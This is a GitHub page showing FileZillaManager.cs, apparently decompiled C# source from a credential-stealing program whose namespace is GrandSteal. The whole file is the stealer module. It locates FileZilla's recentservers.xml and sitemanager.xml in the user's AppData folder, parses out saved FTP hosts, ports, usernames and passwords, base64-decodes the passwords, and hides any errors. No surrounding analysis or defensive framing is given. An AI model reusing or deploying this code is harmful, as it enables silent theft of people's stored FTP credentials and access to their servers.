-
Notifications
You must be signed in to change notification settings - Fork 12
/
FileZillaManager.cs
158 lines (153 loc) · 4.38 KB
/
FileZillaManager.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Xml;
using GrandSteal.Client.Models.Credentials;
using GrandSteal.SharedModels.Models;
namespace GrandSteal.Client.Data.Recovery
{
// Token: 0x0200001A RID: 26
public class FileZillaManager : ICredentialsManager<FtpCredential>
{
// Token: 0x06000093 RID: 147 RVA: 0x000061A0 File Offset: 0x000043A0
public List<FtpCredential> GetAll()
{
List<FtpCredential> list = new List<FtpCredential>();
try
{
string path = string.Format("{0}\\FileZilla\\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
string path2 = string.Format("{0}\\FileZilla\\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
if (File.Exists(path))
{
list.AddRange(FileZillaManager.ExtractFtpCredentials(path));
}
if (File.Exists(path2))
{
list.AddRange(FileZillaManager.ExtractFtpCredentials(path2));
}
return list;
}
catch
{
}
return list;
}
// Token: 0x06000094 RID: 148 RVA: 0x0000621C File Offset: 0x0000441C
public static List<FtpCredential> ExtractFtpCredentials(string Path)
{
List<FtpCredential> list = new List<FtpCredential>();
try
{
XmlTextReader reader = new XmlTextReader(Path);
XmlDocument expr_12 = new XmlDocument();
expr_12.Load(reader);
using (IEnumerator enumerator = expr_12.DocumentElement.ChildNodes[0].ChildNodes.GetEnumerator())
{
while (enumerator.MoveNext())
{
FtpCredential ftpCredential = FileZillaManager.ExtractRecentCredential((XmlNode)enumerator.Current);
if (ftpCredential.Username != "UNKNOWN" && ftpCredential.Server != "UNKNOWN")
{
list.Add(ftpCredential);
}
}
}
}
catch
{
}
return list;
}
// Token: 0x06000095 RID: 149 RVA: 0x000062DC File Offset: 0x000044DC
public static FtpCredential ExtractRecentCredential(XmlNode xmlNode)
{
FtpCredential ftpCredential = new FtpCredential();
try
{
foreach (XmlNode xmlNode2 in xmlNode.ChildNodes)
{
if (xmlNode2.Name == "Host")
{
ftpCredential.Server = xmlNode2.InnerText;
}
if (xmlNode2.Name == "Port")
{
ftpCredential.Server = ftpCredential.Server + ":" + xmlNode2.InnerText;
}
if (xmlNode2.Name == "User")
{
ftpCredential.Username = xmlNode2.InnerText;
}
if (xmlNode2.Name == "Pass")
{
ftpCredential.Password = FileZillaManager.Base64Decode(xmlNode2.InnerText);
}
}
}
catch
{
}
finally
{
ftpCredential.Username = (string.IsNullOrEmpty(ftpCredential.Username) ? "UNKNOWN" : ftpCredential.Username);
ftpCredential.Server = (string.IsNullOrEmpty(ftpCredential.Server) ? "UNKNOWN" : ftpCredential.Server);
ftpCredential.Password = (string.IsNullOrEmpty(ftpCredential.Password) ? "UNKNOWN" : ftpCredential.Password);
}
return ftpCredential;
}
// Token: 0x06000096 RID: 150 RVA: 0x000062DC File Offset: 0x000044DC
public static FtpCredential ExtractManagerCredential(XmlNode xmlNode)
{
FtpCredential ftpCredential = new FtpCredential();
try
{
foreach (XmlNode xmlNode2 in xmlNode.ChildNodes)
{
if (xmlNode2.Name == "Host")
{
ftpCredential.Server = xmlNode2.InnerText;
}
if (xmlNode2.Name == "Port")
{
ftpCredential.Server = ftpCredential.Server + ":" + xmlNode2.InnerText;
}
if (xmlNode2.Name == "User")
{
ftpCredential.Username = xmlNode2.InnerText;
}
if (xmlNode2.Name == "Pass")
{
ftpCredential.Password = FileZillaManager.Base64Decode(xmlNode2.InnerText);
}
}
}
catch
{
}
finally
{
ftpCredential.Username = (string.IsNullOrEmpty(ftpCredential.Username) ? "UNKNOWN" : ftpCredential.Username);
ftpCredential.Server = (string.IsNullOrEmpty(ftpCredential.Server) ? "UNKNOWN" : ftpCredential.Server);
ftpCredential.Password = (string.IsNullOrEmpty(ftpCredential.Password) ? "UNKNOWN" : ftpCredential.Password);
}
return ftpCredential;
}
// Token: 0x06000097 RID: 151 RVA: 0x00006448 File Offset: 0x00004648
public static string Base64Decode(string input)
{
string result;
try
{
byte[] bytes = Convert.FromBase64String(input);
result = Encoding.UTF8.GetString(bytes);
}
catch
{
result = input;
}
return result;
}
}
}